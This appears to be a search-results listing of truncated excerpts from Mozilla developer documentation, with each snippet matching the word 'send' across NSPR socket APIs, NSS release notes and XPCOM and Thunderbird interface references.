cular, if you specify pr_interval_no_timeout as the timeout, the os's connection time limit will be used. if the socket is a udp socket, there is no connection setup to speak of, since udp is connectionless. if pr_connect is invoked on a udp socket, it has an overloaded meaning: pr_connect merely saves the specified address as the default peer address for the socket, so that subsequently one can
send and receive datagrams from the socket using pr_
send and pr_recv instead of the usual pr_
sendto and pr_recvfrom. ...
PR ImportTCPSocket
n. the caller needs to understand what nspr will do to the native file descriptor and make sure that nspr can use the native file descriptor successfully. for example, on posix systems, nspr will put the native file descriptor (an int) in non-blocking mode by calling fcntl to set the o_nonblock file status flag on the native file descriptor, and then nspr will call socket functions such as recv,
send, and poll on the native file descriptor. the caller must not do anything to the native file descriptor before the pr_importtcpsocket call that will prevent the native file descriptor from working in non-blocking mode. warning in theory, code that uses pr_importtcpsocket may break when nspr's implementation changes. in practice, this is unlikely to happen because nspr's implementation has been s...
PR_NewTCPSocket
sive socket (the server) accepting a connection setup request from an active socket (the client). typically, the server binds its socket to a well-known port with pr_bind, calls pr_listen to start listening for connection setup requests, and calls pr_accept to accept a connection. the client makes a connection request using pr_connect. after a connection is established, the client and server may
send and receive data between each other. to receive data, one can call pr_read or pr_recv. to
send data, one can call pr_write, pr_writev, pr_
send, or pr_transmitfile. pr_acceptread is suitable for use by the server to accept a new client connection and read the client's first request in one function call. a tcp connection can be shut down by pr_shutdown, and the sockets should be closed by pr_close...
PR_NewUDPSocket
udp socket. if the creation of a new udp socket failed, null. description udp (user datagram protocol) is a connectionless, unreliable datagram protocol of the tcp/ip protocol suite. udp datagrams may be lost or delivered in duplicates or out of sequence. pr_newudpsocket creates a new udp socket. the socket may be bound to a well-known port number with pr_bind. datagrams can be sent with pr_
sendto and received with pr_recvfrom. when the socket is no longer needed, it should be closed with a call to pr_close. see also pr_newudpsocket is deprecated because it is hardcoded to create an ipv4 udp socket. new code should use pr_openudpsocket instead, which allows the address family (ipv4 or ipv6) of the new udp socket to be specified. ...
PR_OpenTCPSocket
sive socket (the server) accepting a connection setup request from an active socket (the client). typically, the server binds its socket to a well-known port with pr_bind, calls pr_listen to start listening for connection setup requests, and calls pr_accept to accept a connection. the client makes a connection request using pr_connect. after a connection is established, the client and server may
send and receive data between each other. to receive data, one can call pr_read or pr_recv. to
send data, one can call pr_write, pr_writev, pr_
send, or pr_transmitfile. pr_acceptread is suitable for use by the server to accept a new client connection and read the client's first request in one function call. a tcp connection can be shut down by pr_shutdown, and the sockets should be closed by pr_close...
PR OpenUDPSocket
ion of a new udp socket failed, null. description udp (user datagram protocol) is a connectionless, unreliable datagram protocol of the tcp/ip protocol suite. udp datagrams may be lost or delivered in duplicates or out of sequence. pr_openudpsocket creates a new udp socket of the address family af. the socket may be bound to a well-known port number with pr_bind. datagrams can be sent with pr_
sendto and received with pr_recvfrom. when the socket is no longer needed, it should be closed with a call to pr_close. ...
NSS Certificate Download Specification
user certificate belonging to another user for use with s/mime. if a certificate chain is being imported then the first certificate in the chain must be the user certificate, and any subsequent certificates will be added as untrusted ca certificates to the local database. this is intended to allow people or cas to post their e-mail certificates on web pages for download by other users who want to
send them encrypted mail. note: the browser checks that the size of the object being downloaded matches the size of the encoded certificates. therefore it is important to ensure that no extra characters, such as nulls or linefeeds are added at the end of the object. importing certificates into nss-based servers consult your server's administration guide for the most accurate information. for some ...
HTTP delegation
e "?query-string=data" portion should already be appended to the request path) after creation, nss might call functions to provide additional details of the http request (e.g. sec_httprequest_setpostdatafcn). the application is expected to collect the details for later use. once nss is finished providing all details, it will request to initiate the actual network communication (sec_httprequest_try
sendandreceivefcn). the application should try to reuse existing network connections associated with the server session object. once the http response has been obtained from the http server, the function will provide the results in its "out parameters". please read the source code documentation to learn how to use this api synchronously or asynchronously. now that we have explained the interaction bet...
HTTP delegation
e "?query-string=data" portion should already be appended to the request path) after creation, nss might call functions to provide additional details of the http request (e.g. sec_httprequest_setpostdatafcn). the application is expected to collect the details for later use. once nss is finished providing all details, it will request to initiate the actual network communication (sec_httprequest_try
sendandreceivefcn). the application should try to reuse existing network connections associated with the server session object. once the http response has been obtained from the http server, the function will provide the results in its "out parameters". please read the source code documentation to learn how to use this api synchronously or asynchronously. now that we have explained the interaction bet...
NSS 3.12.6 release notes
note: the tls server name indication for clients is already fully implemented in nss. new functions for sni (see ssl.h for more information): sslsnisocketconfig return values: ssl_sni_current_config_is_used: libssl must use the default cert and key. ssl_sni_
send_alert: libssl must
send the "unrecognized_name" alert. ssl_snisocketconfighook ssl_reconfigfd ssl_configserversessionidcachewithopt ssl_settrustanchors ssl_getnegotiatedhostinfo new enum for sni: ...
NSS 3.15 release notes
nd pk11_decrypt. certutil has been updated to support creating name constraints extensions. new functions in ssl.h ssl_peerstapledocspresponse - returns the server's stapled ocsp response, when used with a tls client socket that negotiated the status_request extension. ssl_setstapledocspresponses - set's a stapled ocsp response for a tls server socket to return when clients
send the status_request extension. in ocsp.h cert_postocsprequest - primarily intended for testing, permits the
sending and receiving of raw ocsp request/responses. in secpkcs7.h sec_pkcs7verifydetachedsignatureattime - verifies a pkcs#7 signature at a specific time other than the present time. in xconst.h cert_encodenameconstraintsextensi...
NSS 3.22.3 release notes
wer. nss 3.22.3 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_22_3_rtm/src/ new in nss 3.22.3 new functionality no new functionality is introduced in this release. bugs fixed in nss 3.22.3 bug 1243641 - increase compatibility of tls extended master secret, don't
send an empty tls extension last in the handshake compatibility nss 3.22.3 shared libraries are backward compatible with all older nss 3.x shared libraries. a program linked with older nss 3.x shared libraries will work with nss 3.22.3 shared libraries without recompiling or relinking. furthermore, applications that restrict their use of nss apis to the functions listed in nss public functions will...
NSS 3.24 release notes
o define a larger number of authentication key types. deprecate the member attribute authalgorithm of type sslciphersuiteinfo. instead, applications should use the newly added attribute authtype. rename ssl_auth_rsa to ssl_auth_rsa_decrypt. add a shared library (libfreeblpriv3) on linux platforms that define freebl_lowhash. remove most code related to ssl v2, including the ability to actively
send a sslv2-compatible client hello. however, the server-side implementation of the ssl/tls protocol still supports processing of received v2-compatible client hello messages. disable (by default) nss support in optimized builds for logging ssl/tls key material to a logfile if the sslkeylogfile environment variable is set. to enable the functionality in optimized builds, you must define the symbol n...
NSS 3.28 release notes
(bug 957105), which is supported and enabled by default in all versions of tls. new functions in ssl.h ssl_exportearlykeyingmaterial implements a key exporter based on the tls 1.3 early exporter secret. this api is equivalent in function to ssl_exportkeyingmaterial, but it can only succeed if 0-rtt was attempted (on the client) or accepted (on the server). ssl_
sendadditionalkeyshares configures a tls 1.3 client so that it generates additional key shares when
sending a clienthello. ssl_signatureschemeprefset allows an application to set which signature schemes should be supported in tls and to specify the preference order of those schemes. ssl_signatureschemeprefget allows an application to learn the currently supported and enabled si...
NSS 3.41 release notes
c225929257bf40d0894f29ea8baf2 cn = opentrust root ca g3 sha-256 fingerprint: b7c36231706e81078c367cb896198f1e3208dd926949dd8f5709a410f75b6292 bugs fixed in nss 3.41 bug 1412829, reject empty supported_signature_algorithms in certificate request in tls 1.2 bug 1485864 - cache side-channel variant of the bleichenbacher attack (cve-2018-12404) bug 1481271 - re
send the same ticket in clienthello after helloretryrequest bug 1493769 - set session_id for external resumption tokens bug 1507179 - reject ccs after handshake is complete in tls 1.3 this bugzilla query returns all the bugs fixed in nss 3.41: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.41 comp...
NSS 3.43 release notes
rce distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_43_rtm/src/ other releases are available in nss releases. new in nss 3.43 new functionality new functions in sechash.h hash_gethashoidtagbyhashtype - convert type hash_hashtype to type secoidtag in sslexp.h ssl_
sendcertificaterequest - allow server to request post-handshake client authentication. to use this both peers need to enable the ssl_enable_post_handshake_auth option. note that while the mechanism is present, post-handshake authentication is currently not tls 1.3 compliant due to bug 1532312 notable changes in nss 3.43 the following ca certificates were added: cn = emsign root...
NSS 3.45 release notes
t code verbatim bug 1550022 - ensure nssutil3 gets built on android bug 1528174 - chacha20poly1305 should no longer modify output length on failure bug 1549382 - don't leak in pkcs#11 modules if c_getslotinfo() returns error bug 1551041 - fix builds using gcc < 4.3 on big-endian architectures bug 1554659 - add versioning to openbsd builds to fix link time errors using nss bug 1553443 -
send session ticket only after handshake is marked as finished bug 1550708 - fix gyp scripts on solaris sparc so that libfreebl_64fpu_3.so builds bug 1554336 - optimize away unneeded loop in mpi.c bug 1559906 - fipstest: use ckm_tls12_master_key_derive instead of vendor specific mechanism bug 1558126 - tls_aes_256_gcm_sha384 should be marked as fips compatible bug 1555207 - helloretryrequestcallb...
NSS 3.51 release notes
etails. bugs fixed in nss 3.51 bug 1608892 - update dtls 1.3 implementation to draft-34. bug 1611209 - correct swapped pkcs11 values of ckm_aes_cmac and ckm_aes_cmac_general bug 1612259 - complete integration of wycheproof ecdh test cases bug 1614183 - check if ppc __has_include(<sys/auxv.h>) bug 1614786 - fix a compilation error for ‘getfipsenv’ "defined but not used" bug 1615208 -
send dtls version numbers in dtls 1.3 supported_versions extension to avoid an incompatibility. bug 1538980 - secu_readderfromfile calls strstr on a string that isn't guaranteed to be null-terminated bug 1561337 - correct a warning for comparison of integers of different signs: 'int' and 'unsigned long' in security/nss/lib/freebl/ecl/ecp_25519.c:88 bug 1609751 - add test for mp_int clamping bug 15...
NSS 3.54 release notes
bug 1639987 - remove "staat der nederlanden root ca - g2" root certificate. bug 1618402 - remove symantec root certificates and disable email trust bit. bug 1640516 - nss 3.54 should depend on nspr 4.26. bug 1642146 - fix undefined reference to `port_zalloc_stub' in seed.c. bug 1642153 - fix infinite recursion building nss. bug 1642638 - fix fuzzing assertion crash. bug 1642871 - enable ssl_
sendsessionticket after resumption. bug 1643123 - support ssl_exportearlykeyingmaterial with external psks. bug 1643557 - fix numerous compile warnings in nss. bug 1644774 - ssl gtests to use clearservercache when resetting self-encrypt keys. bug 1645479 - don't use secitem_makeitem in secutil.c. bug 1646520 - stricter enforcement of asn.1 integer encoding. this bugzilla query returns all the b...
NSS 3.56 release notes
ptimizations on x86-64 macos. bug 1654142 - add cpu feature detection for intel sha extension. bug 1648822 - add stricter validation of dh keys in fips mode. bug 1656986 - properly detect arm64 during gyp build architecture detection. bug 1652729 - add build flag to disable rc2 and relocate to lib/freebl/deprecated. bug 1656429 - correct rtt estimate used in 0-rtt anti-replay. bug 1588941 -
send empty certificate message when scheme selection fails. bug 1652032 - fix failure to build in windows arm64 makefile cross-compilation. bug 1625791 - fix deadlock issue in nssslot_istokenpresent. bug 1653975 - fix 3.53 regression by setting "all" as the default makefile target. bug 1659792 - fix broken libpkix tests with unexpired paypal cert. bug 1659814 - fix interop.sh failures with newer ...
nss tech note7
cryptohi.h. if you need to interoperate with a protocol that isn't implemented by nss, then you may need to use the pk11_ functions. (this api pretty much consists of what was needed to implement ssl and s/mime, plus a few enhancements over the years to support jss.) when using the pk11_ interfaces, the same principal applies: use the highest available function. if you are really trying to
send a key, you should use pk11_pubwrapsymkey(). for a low level signature, use pk11_sign(). both of these functions do the pkcs #1 wrapping of the data. pk11_sign does not do the ber encoding of the hash (as is done in sgn_ functions). if you are trying to just
send data, use pk11_pubencryptpkcs1. pk11_pubencryptraw is the lowest level function. it takes a modulus size data and does a raw rsa o...
Overview of NSS
such as hardware accelerators and smart cards) and permits application independence from specific algorithms and implementations. pkcs #12. rsa standard that governs the format used to store or transport private keys, certificates, and other secret material. s/mime (rfc 2311 and rfc 2633). ietf message specification (based on the popular internet mime standard) that provides a consistent way to
send and receive signed and encrypted mime data. x.509 v3. itu standard that governs the format of certificates used for authentication in public-key cryptography. ocsp (rfc 2560). the online certificate status protocol (ocsp) governs real-time confirmation of certificate validity. pkix certificate and crl profile (rfc 3280). the first part of the four-part standard under development by the public-...
NSS environment variables
es to shutdown nss before freeing all the resources it acquired from nss while nss was initialized. 3.5 nss_trace_ocsp boolean (any value to enable) enables ocsp tracing. the trace information is written to the file pointed by nspr_log_file (default stderr). see nss tracing 3.12 nss_use_decoded_cka_ec_point boolean (any value to enable) tells nss to
send ec key points across the pkcs#11 interface in the non-standard unencoded format that was used by default before nss 3.12.3. 3.12.3 nss_use_shexp_in_cert_name boolean (any value to enable) tells nss to allow shell-style wildcard patterns in certificates to match ssl server host names. this behavior was the default before nss 3.12.3. 3.12.3 pkix_object_leak_test_ab...
NSS_3.12.3_release_notes.html
ebug builds. if set to "disabled", softoken will ignore forks, and behave as it did in older versions. if set to any other non-empty value, softoken will report an error in both debug and non-debug builds. nss_use_decoded_cka_ec_point boolean (any non-empty value to enable) tells nss to
send ec key points across the pkcs#11 interface in the non-standard unencoded format that was used by default before nss 3.12.3. the new key point format is a der encoded asn.1 octet string. nss_use_shexp_in_cert_name boolean (any non-empty value to enable) tells nss to allow shell-style wildcard patterns in certificates to match ssl server h...
certutil
for example: -t "tcu,cu,tuw" use the -l option to see a list of the current certificates and ...
Necko walkthrough
s onstartrequest, onstoprequest, ondataavailable, the three functions in which channel responses are received asynchronously. nshttpchannel::asyncopen called from openuri; openchannel isn't named the best, since the opening happens in the context of openuri, its calling function. this is where it hits necko code. but the interface for clients of necko is important to consider:
send request uri helps creates channel setup channel (headers, request data, response callback...) channel->asyncopen. receive response get a callback to each of these: nsistreamlistener::onstartrequest (header info) nsistreamlistener::ondataavailable (data in single or multiple chunks) nsistreamlistener::onstoprequest (no more data from http) ...
Rhino serialization
simple serialization example the rhino shell has two new top-level functions, serialize and deserialize. ...
JS_ReportPendingException
ontext cx, js_reportpendingexception converts the exception to a string and reports it to the current error reporter. on success, it clears the exception as though by calling js_clearpendingexception and returns true. if no exception is pending, or if a second error occurs while trying to report the first one, it returns false. this function can be used to catch exceptions thrown from scripts and
send them to the error reporter to be logged or ignored. note that certain jsapi functions automatically do this for uncaught exceptions; see "automatic handling of uncaught exceptions" in the jsapi user guide. see also mxr id search for js_reportpendingexception ...
Shell global objects
ns the number of helper threads available for off-main-thread tasks. reportoutofmemory() report oom, then clear the exception and return undefined. for crash testing. throwoutofmemory() throw out of memory exception, for oom handling testing. reportlargeallocationfailure() call the large allocation failure callback, as though a large malloc call failed, then return undefined. in gecko, this
sends a memory pressure notification, which can free up some memory. findpath(start, target) return an array describing one of the shortest paths of gc heap edges from start to target, or undefined if target is unreachable from start. each element of the array is either of the form: { node: {object or string}, edge: {string describing edge from node} } , if the node is a javascript object or value; ...
A Web PKI x509 certificate primer
r_unknown_critical_extension a certificate contains an extension marked as critical that is not handled by mozilla::pkix re-generate the certificate without the extension or with it not marked as critical sec_error_unknown_issuer either a missing intermediate or root certificate is necessary to verify the certificate import the root certificate into firefox or have the server
send the intermediate sec_error_invalid_key sec_error_unsupported_keyalg sec_error_expired_issuer_certificate an issuer certificate is too old re-issue the issuer certificate mozilla_pkix_error_ca_cert_used_as_end_entity a certificate with a basic constraints extension with ca:true is being used as an end-entity certificate re-generate th...
Gecko events
: yes event_selection_add an item within a container object has been added to the selection. is supported: yes event_selection_remove an item within a container object has been removed from the selection. is supported: yes event_selection_within numerous selection changes have occurred within a container object. is supported: yes event_alert an alert has been generated. server applications
send this event when a user needs to know that a user interface element has changed. is supported: yes event_foreground the foreground window has changed. is supported: no event_menu_start a menu item on the menu bar has been selected. is supported: yes event_menu_end a menu from the menu bar has been closed. is supported: yes event_menupopup_start a pop-up menu has been displayed. is support...
Places utilities for JavaScript
} catch(e) { // this shouldn't happen } } the code using placesutils collapses a bit to: var annotations = placesutils.getannotationsforuri(uri); saving you a bit of clumsy code and leaving mozilla to make sure everything is written correctly. it also gives you more information that my hastily written (and probably incorrect) example up above. ...
Querying Places
rameters const unsigned long time_relative_epoch = 0 const unsigned long time_relative_today = 1 const unsigned long time_relative_now = 2 attribute prtime begintime attribute unsigned long begintimereference readonly attribute boolean hasbegintime readonly attribute prtime absolutebegintime attribute prtime endtime attribute unsigned long endtimereference readonly attribute boolean ha
sendtime readonly attribute prtime absoluteendtime attribute astring searchterms readonly attribute boolean hassearchterms attribute long minvisits attribute long maxvisits attribute boolean onlybookmarked attribute boolean domainishost attribute autf8string domain readonly attribute boolean hasdomain attribute boolean uriisprefix attribute nsiuri uri readonly attribute boolean hasuri att...
XML Extras
". the mozilla developer center has several pages for xmlhttprequest. below are some key differencies in "xml extras" between mozilla and microsoft software: difference microsoft mozilla member names case insensitive? begins with lower case letter xmlhttprequest creation new activexobject("msxml2.xmlhttp") new xmlhttprequest() xmlhttprequest.
send("some string") ok ok starting with milestone 0.9.7 (actually nightly 2001-11-28). with older builds, passing strings to
send() works only in chrome, see post.html sample. the "workaround" is to use domparser object's parsefromstring() method to create a document from string, and pass the temporary document into
send(). xmlhttprequest.open("ahost") ok file:// documents can acc...
Component Internals
cts of xpcom, including the customization of location of specific directories. the main purpose of the api at this point is to change which components directory xpcom searches when it looks for xpcom components. this is how the api is used, for example, in the gecko runtime environment (gre). xpcom startup the six basic steps to xpcom startup are as follows: application starts xpcom. xpcom
sends a notification that it's beginning startup. xpcom finds and processes the component manifest (see component manifests below). xpcom finds and processes the type library manifest (see type library manifests below). if there are new components, xpcom registers them: xpcom calls autoregistration start. xpcom registers new components. xpcom calls autoregistration end. complete x...
Setting up the Gecko SDK
code files are, it looks in the platform sdk, visual studio 9.0 include (installed with the platform sdk), and the gecko sdk includes. set lib=c:\program files\microsoft sdks\windows\v7.0\lib;c:\program files (x86)\microsoft visual studio 9.0\vc\lib;d:\projects\xulrunner-sdk\lib this tells the linker where the default libraries to bind to are. this allows you to created the component without
sending any extra dlls set path=%path%;d:\projects\xulrunner-sdk\sdk\bin;d:\projects\xulrunner-sdk\bin this tells the command prompt where to find the gecko tools, importantly (xpidl, regxpcom, and gmake). building the sample built sample in d:\projects\sample the idl this step is fairly straight forward. first create the idl file. ispecialthing.idl #include "nsisupports.idl" [scriptable, u...
Receiving startup notifications
up notifications. simply registering with the category manager is enough. what happens next once you've registered with the category manager, at mozilla startup time (or when the embedding application's ns_initembedding() function is called), the appstartupnotifier component is instantiated, and its observe() method is called; this in turn enumerates all components in the app-startup category and
sends them the appropriate notifications. ...
Components.utils.reportError
em, set the preference 'javascript.options.showinconsole' to true, or use nsconsoleservice instead to show a message. ...
IAccessibleHyperlink
lt startindex( [out] long index ); parameters index the 0 based character offset at which the textual representation of the hyperlink starts. the returned value is related to the iaccessibletext interface of the object that owns this hyperlink. return value s_ok. valid() returns whether the target object referenced by this link is still valid. this is a volatile state that may change without
sending an appropriate event. [propget] hresult valid( [out] boolean valid ); parameters valid true if the referenced target is still valid and false otherwise. this has also been used to indicate whether or not the uri of the anchortarget is malformed. return value s_false if there is nothing to return, [out] value is false. s_ok. see also iaccessibleaction iaccessibletext ...
imgIContainer
fox 4 / thunderbird 3.3 / seamonkey 2.1) create a new \a awidth x \a aheight sized image container. void init( in print32 awidth, in print32 aheight, in imgicontainerobserver aobserver ); parameters awidth the width of the container in which all the frames will fit. aheight the height of the container in which all the frames will fit. aobserver observer to
send animation notifications to. exceptions thrown missing exception missing description lockimage() increments the lock count on the image. an image will not be discarded as long as the lock count is nonzero. note that it is still possible for the image to be undecoded if decode-on-draw() is enabled and the image was never drawn. upon instantiation images have a lock count of zero. void lo...
imgIDecoder
inherits from: nsisupports last changed in gecko 1.7 this interface is the base class for decoders for specific image formats. method overview void close(); void flush(); void init(in imgiload aload); unsigned long writefrom(in nsiinputstream instr, in unsigned long count); methods close() closes the stream. void close(); parameters none. flush() flushes the stream. void flush(); parameters none. init() initializes an image decoder. ...
imgILoader
channel( in nsichannel achannel, in imgidecoderobserver aobserver, in nsisupports cx, out nsistreamlistener alistener ); parameters achannel the channel to load the image from. this must already be opened before this method is called, and there must have been no ondataavailable calls for it yet. aobserver the observer (may be null) cx some random data. alistener a listener that you must
send the channel's notifications and data to. can be null, in which case imagelib has found a cached image and is not interested in the data. achannel will be canceled for you in this case. return value supportimagewithmimetype() checks if a decoder for the an image with the given mime type is available. boolean supportimagewithmimetype( in string mimetype ); parameters mimetype the type to find...
nsIAccessibleEvent
007 0x0013 0x0010 an item within a container object has been added to the selection. event_selection_remove 0x8008 0x0014 0x0011 an item within a container object has been removed from the selection. event_selection_within 0x8009 0x0015 0x0012 numerous selection changes have occurred within a container object. event_alert 0x0002 0x0016 0x0013 an alert has been generated. server applications
send this event when a user needs to know that a user interface element has changed. event_foreground 0x0003 0x0017 0x0014 the foreground window has changed. event_menu_start 0x0018 0x0015 a menu item on the menu bar has been selected. event_menu_end 0x0019 0x0016 a menu from the menu bar has been closed. event_menupopup_start 0x001a 0x0017 a pop-up menu has been displayed. event_menup...
nsIClipboardDragDropHookList
scriptable this interface is an internal gecko component. it provides basic operations such as adding, removing and enumerating clipboard hooks for the nsiclipboarddragdrophooks interface. inherits from: nsisupports last changed in gecko 1.7 note: this interface is not intended for direct use by embedders; it is an implementation detail. you should access these capabilities indirectly by
sending commands using the nsiclipboarddragdrophooks interface. within gecko, this interface is used by calling get_interface on a docshell. method overview void addclipboarddragdrophooks(in nsiclipboarddragdrophooks ahooks); nsisimpleenumerator gethookenumerator(); void removeclipboarddragdrophooks(in nsiclipboarddragdrophooks ahooks); methods addclipboarddragdrophook...
nsIClipboardDragDropHooks
ng the built-in drag, drop, copy, and paste implementations in the content area and editors. use this to do things such as prevent a drag from starting, adding or removing data and flavors, or preventing the drop. inherits from: nsisupports last changed in gecko 1.7 embedders who want to have these hooks made available should implement nsiclipboarddragdrophooks and use the command manager to
send the appropriate commands with these parameters/settings: command: cmd_clipboarddragdrophook params value type possible values "addhook" isupports nsiclipboarddragdrophooks as nsisupports "removehook" isupports nsiclipboarddragdrophooks as nsisupports note: overrides/hooks need to be added to each window (as appropriate). adding them to the first window does not enable them...
nsICookie
ts information no longer exists. available status_accepted 1 the cookie was accepted. status_downgraded 2 the cookie was accepted but downgraded to a session cookie. status_flagged 3 the cookie was not accepted. status_rejected 4 the cookie was rejected. policy_unknown 0 the cookie collected in a previous session, and its information no longer available. policy_none 1 the site did not
send a compact policy along with the cookie. policy_no_consent 2 the site collects identifiable information without user involvement. policy_implicit_consent 3 the site collects identifiable information unless user opts out. policy_explicit_consent 4 the site does not collect identifiable information unless user opts in. policy_no_ii 5 the site does not collect identifiable information. ...
nsIDOMXULElement
e value of the element's tooltip attribute. tooltiptext domstring gets/sets the value of the element's tooltiptext attribute. top domstring gets/sets the value of the element's top attribute. width domstring gets/sets the value of the element's width attribute. methods blur() attempts to remove focus from the element. void blur(); parameters none. click() unless the element is disabled,
sends mouse events that simulate the effect of clicking the mouse on the element, then calls the docommand() method. void click(); parameters none. docommand() generates and dispatches a basic command event, as if the element was clicked with no keyboard modifiers. void docommand(); parameters none. focus() attempts to set focus to the element; will not work for example for disabled elements. void f...
getFile
tual folder at the root of the namespace ns_win_programs_dir "progs" user start menu programs directory! ...
nsIDocShell
ds normal size no zoom. constants constant value description internal_load_flags_none 0x0 used as a placeholder when you don't want to explicitly specify flags. internal_load_flags_inherit_owner 0x1 used to indicate that it may be safe to inherit the owner of a javascript: or data: url from the existing document. internal_load_flags_dont_
send_referrer 0x2 used to indicate that the load was caused by a meta refresh and the current document uri shouldn't be sent as the http referrer. internal_load_flags_allow_third_party_fixup 0x4 used to indicate that load_flags_allow_third_party_fixup was passed as one of the flags to loaduri(). internal_load_flags_first_load 0x8 this flag marks the first load in t...
nsIDocumentLoader
inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) implemented by: @mozilla.org/docloaderservice;1. ...
nsIFeed
always indicated using utc. note: this field is rarely implemented. subtitle nsifeedtextconstruct returns a subtitle for the feed, based on its description, subtitle, and appropriate extensions. textinput nsiwritablepropertybag2 information about a text box that can be displayed along with the feed by aggregators that support it, to allow the reader to
send a response back to the source of the feed. note: this field is almost never used, and is incompatible with many aggregators. type unsigned long indicates the type of content presented by a feed. see constants. note: you should consider this a bit mask of values; at some point, the type may include more than one of these values ored together. read only. constants ...
nsIFrameScriptLoader
: every open frame in the given window for the window message manager, or every frame in every window for the global message manager if aallowdelayedload is true, then the script will also be loaded into any applicable new frames opened after the loadframescript() call. otherwise it will only be loaded into frames that exist at the time of the call. if this function is called on a chromemessage
sender: it will load the frame script only into this chromemessage
sender's frame aallowdelayedload should always be true. it's possible that the frame for this chromemessage
sender is not yet available at the time of the loadframescript() call, and if you pass false in this situation, your process script won't be loaded. for example: let windowmm = window.messagemanager; windowmm.loadframescript...
nsIGlobalHistory3
red if nsiglobalhistory3 is available. otherwise, nsiglobalhistory2.adduri() should be called with redirect=true. this function is preferred to nsiglobalhistory2.adduri() because it provides more information (including the redirect destination, channels involved, and redirect flags) to the history implementation. for implementors of nsiglobalhistory3: the history implementation is responsible for
sending ns_link_visited_event_topic to observers for redirect pages. this notification must be sent for history consumers for all non-redirect pages. the other params to this function are the same as those for nsichanneleventsink.onchannelredirect(). implementors who wish to implement this interface but rely on nsiglobalhistory2.adduri() for redirect processing may throw ns_error_not_implemented from ...
nsIHttpChannel
pheadervisitor avisitor); void visitresponseheaders(in nsihttpheadervisitor avisitor); constants constant description referrer_policy_no_referrer_when_downgrade default; indicates not to pass on the referrer when downgrading from https to http referrer_policy_no_referrer indicates no referrer will be sent referrer_policy_origin only
send the origin of the referring uri referrer_policy_origin_when_xorigin same as the default; only
send the origin of the referring uri for cross-origin requests referrer_policy_unsafe_url always
send the referrer, even when downgrading from https to http attributes attribute type description allowpipelining boolean this attribute is a...
nsIHttpServer
lifetime of the server */ void registerfile(in string path, in nsifile file); /** * registers a custom path handler. ...
nsILoginInfo
is stored here. this field is null for logins attained from protocol authentications and "" means to match against any form action. hostname astring the origin, not hostname, to which the login applies (for example, "https://www.site.com"). a port number (":123") may be appended. httprealm astring the http realm for which the login was requested. when an http server
sends a 401 result, the www-authenticate header includes a realm to identify the "protection space." see rfc 2617. if the result did not include a realm, or it was blank, the hostname is used instead. for logins obtained from html forms, this field is null. password astring the password for the login. passwordfield astring the name attribute for the password input in a fo...
Using nsILoginManager
<div>please log in.</div> <label>username:</label> <input type="text" name="uname"> <label>password:</label> <input type="password" name="pword"> </form> creating a site authentication login var authlogininfo = new nslogininfo( 'http://www.example.com', null, 'exampleco login', 'alice', 'secret321', "", "" ); this would correspond to a login on http://www.example.com when the server
sends a reply such as: http/1.0 401 authorization required server: apache/1.3.27 www-authenticate: basic realm="exampleco login" creating a local extension login var extlogininfo = new nslogininfo( 'chrome://firefoo', null, 'user registration', 'bob', '123secret', "", "" ); from a component creating a new info block is done slightly differently: var nslogininfo = new constructor("@org...
nsIMemoryReporterManager
provides memory usage information for a given code area. registerreporter() requests that memory reporter notifications be sent to the specified objects. void registerreporter( in nsimemoryreporter reporter ); parameters reporter an object implementing the nsimemoryreporter interface which provides memory usage information for a given code area. unregistermultireporter() stops
sending memory multi-reporter notifications to the specified object. void unregistermultireporter( in nsimemorymultireporter reporter ); parameters reporter an object implementing the nsimemorymultireporter interface which provides memory usage information for a given code area. unregisterreporter() stops
sending memory reporter notifications to the specified object. void unregister...
nsIMessageListenerManager
1.0 66 introduced gecko 17 inherits from: nsisupports last changed in gecko 41 (firefox 41 / thunderbird 41 / seamonkey 2.38) implemented by: @mozilla.org/globalmessagemanager;1. ...
nsIMessageWakeupService
ey're needed. 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) note: this service was introduced in gecko 5.0 on firefox for android, but was not provided on desktop until gecko 13.0 (firefox 13). there is no idl for this interface. the parentprocessmessagemanager is used for this, so messages
send from childprocessmessagemanagers will be heard. requesting wakeups to request a wakeup, a wakeup condition must be registered with the category manager in the "wakeup-request" category. the easiest way to do this is to add the appropriate entry to the chrome manifest that registers your component (see category in "chrome registration"). to indicate a wakeup request in a manifest file, add a line ...
nsIMsgDatabase
hdrformessageid() nsimsgdbhdr getmsghdrformessageid(in string messageid); parameters messageid containskey() returns whether or not this database contains the given key. boolean containskey(in nsmsgkey key); parameters key createnewhdr() must call addnewhdrtodb after creating. the idea is that you create a new header, fill in its properties, and then call addnewhdrtodb. addnewhdrtodb will
send notifications to any listeners. nsimsgdbhdr createnewhdr(in nsmsgkey key); addnewhdrtodb() void addnewhdrtodb(in nsimsgdbhdr newhdr, in boolean notify); copyhdrfromexistinghdr() nsimsgdbhdr copyhdrfromexistinghdr(in nsmsgkey key, in nsimsgdbhdr existinghdr, in boolean addhdrtodb); listallkeys() [noscript] void listallkeys(in nsmsgkeyarrayref outputkeys); enumeratemessages() nsisimpleenum...
nsIMsgFolder
, it's the sum of the size of the messages. username acstring readonly hostname acstring readonly expungedbytes unsigned long readonly deletable boolean readonly: can this folder be deleted. for example, special folders cannot be deleted. displayrecipients boolean readonly: should we be displaying recipients instead of the
sender. for example, in the sent folder, recipients are more relevant than the
sender. manyheaderstodownload boolean readonly: used to determine if it will take a long time to download all the headers in this folder - so that we can do folder notifications synchronously instead of asynchronously. requirescleanup boolean readonly hasnewmessages boolean does ...
nsIMsgIdentity
append the user's domain to an autocomplete address with no matches. valid boolean determines if the ui should use this identity and the wizard uses this to determine whether or not to ask the user to complete all the fields. smtpserverkey astring the preferred smtp server for this identity. if this is set, this is the smtp server that should be used for the message
send. requestreturnreceipt boolean readonly: default request for return receipt option for this identity. if this is set, the return receipt menu item on the compose window will be checked. receiptheadertype long readonly: requestdsn boolean readonly: default request for dsn option for this identity. if this is set, the dsn menu item on the compose window w...
nsIMsgWindow
tored in the global variable msgwindow. method overview void displayhtmlinmessagepane(in astring title, in astring body, in boolean clearmsghdr); void stopurls(); void closewindow(); attributes attribute type description windowcommands nsimsgwindowcommands this allows the backend code to
